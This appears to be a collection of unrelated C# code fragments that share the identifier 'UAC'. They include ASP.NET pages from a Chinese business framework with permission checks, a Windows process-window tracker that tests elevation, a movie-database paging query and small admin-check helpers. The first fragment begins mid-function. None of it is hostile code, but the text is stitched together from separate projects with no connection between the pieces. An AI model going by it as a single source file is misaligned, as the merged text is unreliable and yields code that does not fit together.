this.UCSys3.Add("\t\n location='Batch.aspx?EnsName=" + this.EnsName + "&PageIdx=" + ToPageIdx + "';"); } this.UCSys3.Add("\t\n } "); this.UCSys3.Add("</SCRIPT>"); return(ens); }
static void AddWindow(Process p, bool delay = false, bool isRetry = false) { Task.Run(async() => { if (delay) { await Task.Delay(TimeSpan.FromSeconds(4D)); } try { if (!Windows.Any(x => x.ProcessID.Equals(p.Id)) && !Blacklist.Contains(p.ProcessName.ToLower())) { WindowGDI GDI = WindowGDI.None; ProcessModule[] modules = new ProcessModule[p.Modules.Count]; p.Modules.CopyTo(modules, 0); bool IsDirectX = modules.Any(x => x.FileName.ToLower().Contains("d3d")); bool IsOpenGL = modules.Any(x => x.FileName.ToLower().Contains("opengl32")); if (IsDirectX && IsOpenGL) { GDI = WindowGDI.Hybrid; } else if (IsDirectX && !IsOpenGL) { GDI = WindowGDI.DirectX; } else if (!IsDirectX && IsOpenGL) { GDI = WindowGDI.OpenGL; } // Not sure why this doesnt work - Vulkan shows no DLL presence? else if (modules.Any(x => x.FileName.ToLower().Contains("vulkan"))) { GDI = WindowGDI.Vulkan; } if (WinAPI.IsWindow(p.MainWindowHandle)) { Windows.Add(new WindowInstance(p.Id, UAC.IsProcessElevated(p.Handle), ProcessUtils.IsInWin64Emulator(p), GDI)); Logger.LogInfo("Adding Process with Window -> '" + p.MainWindowTitle + "' : [" + p.ProcessName + " | " + p.Id + "]"); } } } catch (Win32Exception) { Logger.LogError("Current iterated process is inaccessible! [PASS]"); return; } catch (InvalidOperationException e) { Logger.LogWarn("Detected process that closed immediatly [RETRY]"); Retry(); } void Retry() { if (RetriesLeft != 0) { if (RetriesLeft == MaxRetries || isRetry) { RetriesLeft--; } p.Refresh(); AddWindow(p, delay, true); } else { RetriesLeft = MaxRetries; } } }); }
/// <summary> /// /// </summary> /// <param name="sender"></param> /// <param name="e"></param> protected void Page_Load(object sender, System.EventArgs e) { UAC uac = this.HisEn.HisUAC; if (uac.IsView == false) { throw new Exception("您没有查看[" + this.HisEn.EnDesc + "]数据的权限."); } if (this.IsPostBack == false) { BP.Sys.Contrast c = new BP.Sys.Contrast(); c.MyPK = this.EnsName + WebUser.No; if (c.RetrieveFromDBSources() == 0) { c.ContrastKey = this.Request.QueryString["ContrastKey"]; } try { #region 设置tool bar 1 的contral #region 判断权限 if (uac.IsView == false) { throw new Exception("@对不起,您没有查看的权限!"); } #endregion // 比较对象。 Map map = this.HisEn.EnMap; string NoShowCont = "@FK_Dot@FK_Rate@"; // string NoShowCont = SystemConfig.GetConfigXmlEns("NoShowContrast", this.EnsName); foreach (Attr attr in map.Attrs) { if (attr.MyFieldType == FieldType.FK || attr.MyFieldType == FieldType.PKFK) { if (NoShowCont.Contains(attr.Key)) { continue; } this.DDL_ContrastKey.Items.Add(new ListItem(attr.Desc, attr.Key)); } } this.DDL_ContrastKey.SetSelectItem(c.ContrastKey); foreach (Attr attr in map.Attrs) { if (attr.IsPK) { continue; } if (attr.UIContralType == UIContralType.TB == false) { continue; } if (attr.MyFieldType == FieldType.FK) { continue; } if (attr.MyFieldType == FieldType.Enum) { continue; } if (attr.MyFieldType == FieldType.PKEnum) { continue; } if (attr.Key == "OID" || attr.Key == "WorkID" || attr.Key == "MID") { continue; } switch (attr.MyDataType) { case DataType.AppDouble: case DataType.AppFloat: case DataType.AppInt: case DataType.AppMoney: case DataType.AppRate: this.DDL_GroupField.Items.Add(new ListItem(attr.Desc, attr.Key)); break; default: break; } } this.DDL_GroupField.SetSelectItem(this.ContrastObj); this.DDL_GroupWay.Items.Add(new ListItem("求和", "0")); this.DDL_GroupWay.Items.Add(new ListItem("求平均", "1")); this.DDL_OrderWay.Items.Add(new ListItem("降序", "0")); this.DDL_OrderWay.Items.Add(new ListItem("升序", "1")); if (this.Request.QueryString["OperateCol"] != null) { string[] strs = this.Request.QueryString["OperateCol"].Split('_'); this.DDL_GroupField.SetSelectItem(strs[0]); this.DDL_GroupWay.SetSelectItem(strs[1]); } #endregion this.ToolBar1.InitByMapV2(this.HisEn.EnMap, 1); this.BindContrastKey(map); InitState(c); this.SetDGData(); } catch (Exception ex) { this.HisEns.DoDBCheck(DBCheckLevel.High); throw new Exception("@装载出现错误:" + ex.Message); } } //this.ToolBar1.ButtonClick += new System.EventHandler(this.ToolBar1_ButtonClick); string lab = SystemConfig.GetConfigXmlEns("Contrast", this.EnsName); if (lab == null) { lab = this.HisEn.EnMap.EnDesc; } this.Label2.Text = this.ContrastLab + "1"; this.Label3.Text = this.ContrastLab + "2"; this.Label1.Text = this.GenerCaption(lab); // this.Label1.Controls.Add(this.GenerLabel("<img src='../Img/Btn/DataGroup.gif' border=0 />" + lab)); this.DDL_ContrastKey.AutoPostBack = true; this.DDL_ContrastKey.SelectedIndexChanged += new EventHandler(DDL_ContrastKey_SelectedIndexChanged); this.BindDDLMore(); }
public void Bind() { #region 生成标题 Entity en = this.HisEn; Map map = this.HisEn.EnMap; Attrs attrs = map.Attrs; bool isFJ = false; if (attrs.Contains("MyFileName")) { isFJ = true; } this.ucsys1.AddTable(); this.ucsys1.AddTR(); this.ucsys1.AddTDTitle(); string str1 = "<INPUT id='checkedAll' onclick='SelectAll(this);' type='checkbox' name='checkedAll'>"; this.ucsys1.AddTDTitle(str1); foreach (Attr attr in attrs) { if (attr.UIVisible == false) { continue; } this.ucsys1.AddTDTitle(attr.Desc); } if (isFJ) { this.ucsys1.AddTDTitle(); } this.ucsys1.AddTREnd(); #endregion 生成标题 this.Page.Title = en.EnDesc; Entities dtls = this.HisEns; QueryObject qo = new QueryObject(dtls); qo.AddWhere(this.RefKey, this.RefVal); #region 生成翻页 this.ucsys2.Clear(); try { this.ucsys2.BindPageIdx(qo.GetCount(), BP.SystemConfig.PageSize, this.PageIdx, "Dtl.aspx?EnName=" + this.EnName + "&PK=" + this.RefVal + "&EnsName=" + this.EnsName + "&RefVal=" + this.RefVal + "&RefKey=" + this.RefKey + "&MainEnsName=" + this.MainEnsName); qo.DoQuery(en.PK, this.PageSize, this.PageIdx, false); } catch { dtls.GetNewEntity.CheckPhysicsTable(); // this.Response.Redirect("Ens.aspx?EnsName=" + this.EnsName + "&RefPKVal=" + this.RefPKVal, true); return; } #endregion 生成翻页 UAC uac = en.HisUAC; if (uac.IsDelete == false) { this.ToolBar1.GetBtnByID(NamesOfBtn.Delete).Enabled = false; } if (uac.IsInsert) { en.PKVal = "0"; dtls.AddEntity(en); } DDL ddl = new DDL(); CheckBox cb = new CheckBox(); bool is1 = false; #region 生成数据 int i = 0; foreach (Entity dtl in dtls) { i++; if (dtl.PKVal == "0" || dtl.PKVal == "") { this.ucsys1.AddTRSum(); this.ucsys1.AddTD("colspan=2", "<b>*</B>"); } else { // is1 = this.ucsys1.AddTR(is1, "ondblclick=\"WinOpen( 'UIEn.aspx?EnsName=" + this.EnsName + "&PK=" + dtl.PKVal + "', 'cd' )\""); is1 = this.ucsys1.AddTR(is1); // is1 = this.ucsys1.AddTR(is1); this.ucsys1.AddTDIdx(i); cb = new CheckBox(); cb.ID = "CB_" + dtl.PKVal; this.ucsys1.AddTD(cb); } foreach (Attr attr in attrs) { if (attr.UIVisible == false) { continue; } if (attr.Key == "OID") { continue; } string val = dtl.GetValByKey(attr.Key).ToString(); switch (attr.UIContralType) { case UIContralType.TB: TB tb = new TB(); this.ucsys1.AddTD(tb); tb.LoadMapAttr(attr); tb.ID = "TB_" + attr.Key + "_" + dtl.PKVal; tb.Attributes["style"] = "width:" + attr.UIWidth + "px;border-width:0px;"; switch (attr.MyDataType) { case DataType.AppMoney: case DataType.AppRate: tb.TextExtMoney = decimal.Parse(val); break; case DataType.AppDate: tb.Text = val.ToString(); tb.ShowType = TBType.Date; if (attr.UIIsReadonly == false) { tb.Attributes["onfocus"] = "WdatePicker();"; } break; case DataType.AppDateTime: tb.Text = val.ToString(); tb.ShowType = TBType.DateTime; if (attr.UIIsReadonly == false) { tb.Attributes["onfocus"] = "WdatePicker({dateFmt:'yyyy-MM-dd HH:mm'});"; } break; default: tb.Text = val; break; } if (attr.IsNum && attr.IsFKorEnum == false) { if (tb.Enabled) { // OnKeyPress="javascript:return VirtyNum(this);" // tb.Attributes["OnKeyDown"] = "javascript:return VirtyNum(this);"; // tb.Attributes["onkeyup"] += "javascript:C" + dtl.PKVal + "();C" + attr.Key + "();"; tb.Attributes["class"] = "TBNum"; } else { // tb.Attributes["onpropertychange"] += "C" + attr.Key + "();"; tb.Attributes["class"] = "TBNumReadonly"; } } break; case UIContralType.DDL: ddl = new DDL(); ddl.ID = "DDL_" + attr.Key + "_" + dtl.PKVal; if (attr.UIIsReadonly == false) { ddl.Items.Add(new ListItem(dtl.GetValRefTextByKey(attr.Key), val)); ddl.Enabled = false; } else { if (attr.IsEnum) { ddl.BindSysEnum(attr.UIBindKey); } else { ddl.BindEntities(attr.HisFKEns, attr.UIRefKeyValue, attr.UIRefKeyText); } } this.ucsys1.AddTD(ddl); ddl.SetSelectItem(val); break; case UIContralType.CheckBok: cb = new CheckBox(); cb.ID = "CB_" + attr.Key + "_" + dtl.PKVal; cb.Text = attr.Desc; if (val == "1") { cb.Checked = true; } else { cb.Checked = false; } this.ucsys1.AddTD("nowarp=true", cb); break; default: break; } } if (isFJ) { string ext = dtl.GetValStrByKey("MyFileExt"); if (ext != "") { this.ucsys1.AddTD("<img src='../Images/FileType/" + ext + ".gif' border=0/>" + dtl.GetValStrByKey("MyFileName")); } } this.ucsys1.AddTREnd(); } #region 生成合计 //this.ucsys1.AddTRSum(); //this.ucsys1.AddTD("colspan=2", "合计"); //foreach (Attr attr in attrs) //{ // if (attr.UIVisible == false) // continue; // if (attr.IsNum && attr.IsFKorEnum == false) // { // TB tb = new TB(); // tb.ID = "TB_" + attr.Key; // tb.Text = attr.DefaultVal.ToString(); // tb.ShowType = attr.HisTBType; // tb.ReadOnly = true; // tb.Font.Bold = true; // tb.BackColor = System.Drawing.Color.FromName("infobackground"); // switch (attr.MyDataType) // { // case DataType.AppRate: // case DataType.AppMoney: // tb.TextExtMoney = dtls.GetSumDecimalByKey(attr.Key); // break; // case DataType.AppInt: // tb.TextExtInt = dtls.GetSumIntByKey(attr.Key); // break; // case DataType.AppFloat: // tb.TextExtFloat = dtls.GetSumFloatByKey(attr.Key); // break; // default: // break; // } // this.ucsys1.AddTD(tb); // } // else // { // this.ucsys1.AddTD(); // } //} //this.ucsys1.AddTD(); //this.ucsys1.AddTREnd(); #endregion 生成合计 #endregion 生成数据 this.ucsys1.AddTableEnd(); }
public PagedResult <MovieData> GetMovies(object param, int page, int count, Filters filter, SortProperties sort) { using (var db = new Context()) { IQueryable <Movie> query = db.Movies; int uid = UAC.GetInstance().UserId; switch (sort) { case SortProperties.RatingUser: query = db.Viewings .Where(z => z.UserID == uid) .OrderByDescending(x => x.Rating) .Select(y => y.Movie); break; case SortProperties.ViewDate: query = db.Viewings .Where(z => z.UserID == uid) .OrderByDescending(x => x.Date) .Select(y => y.Movie); break; } switch (filter) { case Filters.GetByActor: if (param is PersonData) { query = query.Where(x => x.Actors.Exists(y => y.ActorId == (param as PersonData).ID)); } else { return(new PagedResult <MovieData>()); } break; case Filters.GetByCountry: if (param is CountryData) { query = query.Where(x => x.Countries.Exists(y => y.CountryId == (param as CountryData).ID)); } else { return(new PagedResult <MovieData>()); } break; case Filters.GetByDirector: if (param is PersonData) { query = query.Where(x => x.Directors.Exists(y => y.DirectorId == (param as PersonData).ID)); } else { return(new PagedResult <MovieData>()); } break; case Filters.GetByScreenwriter: if (param is PersonData) { query = query.Where(x => x.Screenwriters.Exists(y => y.ScreenwriterId == (param as PersonData).ID)); } else { return(new PagedResult <MovieData>()); } break; case Filters.GetByGenre: if (param is GenreData) { query = query.Where(x => x.Genres.Exists(y => y.GenreId == (param as GenreData).ID)); } else { return(new PagedResult <MovieData>()); } break; case Filters.GetByStoryline: if (param is string) { query = query.Where(x => x.Storyline.Contains(param as string, StringComparison.OrdinalIgnoreCase)); } else { return(new PagedResult <MovieData>()); } break; case Filters.GetByTitle: if (param is string) { query = query.Where(x => x.LocalizedTitle.Contains(param as string, StringComparison.OrdinalIgnoreCase) || x.OriginalTitle.Contains(param as string, StringComparison.OrdinalIgnoreCase)); } else { return(new PagedResult <MovieData>()); } break; case Filters.GetByYearPeriod: if (param is Tuple <short, short> ) { query = query.Where(x => x.Year >= (param as Tuple <short, short>).Item1 && x.Year <= (param as Tuple <short, short>).Item2); } else { return(new PagedResult <MovieData>()); } break; } switch (sort) { case SortProperties.OriginalTitle: query = query.OrderBy(x => x.OriginalTitle); break; case SortProperties.Year: query = query.OrderBy(x => x.Year); break; case SortProperties.RatingIMDB: query = query.OrderByDescending(x => x.RatingIMDB); break; } PagedResult <Movie> movies = query.GetPaged(page, count); return(new PagedResult <MovieData>() { CurrentPage = movies.CurrentPage, PageCount = movies.PageCount, PageSize = movies.PageSize, RowCount = movies.RowCount, Results = movies.Results.Select(x => new MovieData() { ID = x.ID, LocalizedTitle = x.LocalizedTitle, OriginalTitle = x.OriginalTitle, Year = x.Year, RatingIMDB = x.RatingIMDB }).ToList() }); } }
///<summary> ///Removes the given UAC ///</summary> public void RemoveUAC(UAC toRemove) { this.RemoveStructure("UAC", toRemove); }
/// <summary> /// The function checks whether the primary access token of the process belongs to user account that is a member of the local Administrators group, /// even if it currently is not elevated. /// </summary> /// <param name="proc">The process to check.</param> /// <returns> /// Returns true if the primary access token of the process belongs to user account that is a member of the local Administrators group. Returns false /// if the token does not. /// </returns> public static bool IsRunningAsAdmin(this Process proc) => UAC.IsRunningAsAdmin(proc);